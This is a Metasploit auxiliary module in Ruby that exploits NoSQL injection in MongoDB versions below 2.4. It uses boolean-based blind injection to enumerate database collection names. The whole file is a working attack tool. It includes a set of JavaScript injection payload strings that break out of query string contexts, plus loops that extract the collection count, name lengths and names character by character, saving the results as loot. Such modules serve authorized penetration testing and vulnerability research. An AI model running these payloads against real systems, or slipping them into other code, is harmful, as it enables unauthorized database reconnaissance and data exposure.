##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
        'Description' => %q{
          This module can exploit NoSQL injections on MongoDB versions less than 2.4
          and enumerate the collections available in the data via boolean injections.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Brandon Perry <bperry.volatile[at]gmail.com>'],
        'References' => [
          ['URL', 'https://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-nodejs-server-side#_=_']
        ],
        'Platform' => ['linux', 'win'],
        'Privileged' => false,
        'DisclosureDate' => '2014-06-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
      ]
    )
  end

  def syntaxes
    [
      ["\"'||this||'", "'||[inject]||'"],
      ["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
      ['\'"||this||"', '"||[inject]||"'],
      ['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
      ["||this", "||[inject]"]
    ]
  end

  def run
    uri = datastore['TARGETURI']

    res = send_request_cgi({
      'uri' => uri.sub('[NoSQLi]', '')
    })

    if !res
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way.")
    end

    pay = ""
    fals = res.body
    tru = nil

    syntaxes.each do |payload|
      print_status("Testing " + payload[0])
      res = send_request_cgi({
        'uri' => uri.sub('[NoSQLi]', payload[0])
      })

      if res and res.body != fals and res.code == 200
        print_status("Looks like " + payload[0] + " works")
        tru = res.body

        res = send_request_cgi({
          'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
        })

        if res and res.body != tru and res.code == 200
          vprint_status("I think I confirmed with a negative test.")
          fals = res.body
          pay = payload[1]
          break
        end
      end
    end

    if pay == ''
      fail_with(Failure::Unknown, "Couldn't detect a payload, maybe it isn't injectable.")
    end

    length = 0
    vprint_status("Getting length of the number of collections.")
    (0..100).each do |len|
      str = "db.getCollectionNames().length==#{len}"
      res = send_request_cgi({
        'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
      })

      if res and res.body == tru
        length = len
        print_status("#{len} collections are available")
        break
      end
    end

    vprint_status("Getting collection names")

    names = []
    (0...length).each do |i|
      vprint_status("Getting length of name for collection " + i.to_s)

      name_len = 0
      (0..100).each do |k|
        str = "db.getCollectionNames()[#{i}].length==#{k}"
        res = send_request_cgi({
          'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
        })

        if res and res.body == tru
          name_len = k
          print_status("Length of collection #{i}'s name is #{k}")
          break
        end
      end

      vprint_status("Getting collection #{i}'s name")

      name = ''
      (0...name_len).each do |k|
        [*('a'..'z'), *('0'..'9'), *('A'..'Z'), '.'].each do |c|
          str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
          res = send_request_cgi({
            'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
          })

          if res and res.body == tru
            name << c
            break
          end
        end
      end

      print_status("Collections #{i}'s name is " + name)
      names << name
    end

    p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
                   "text/plain",
                   nil,
                   names.to_json,
                   "mongo_injection_#{datastore['RHOST']}.txt",
                   "#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")

    print_good("Your collections are located at: " + p)
  end
end
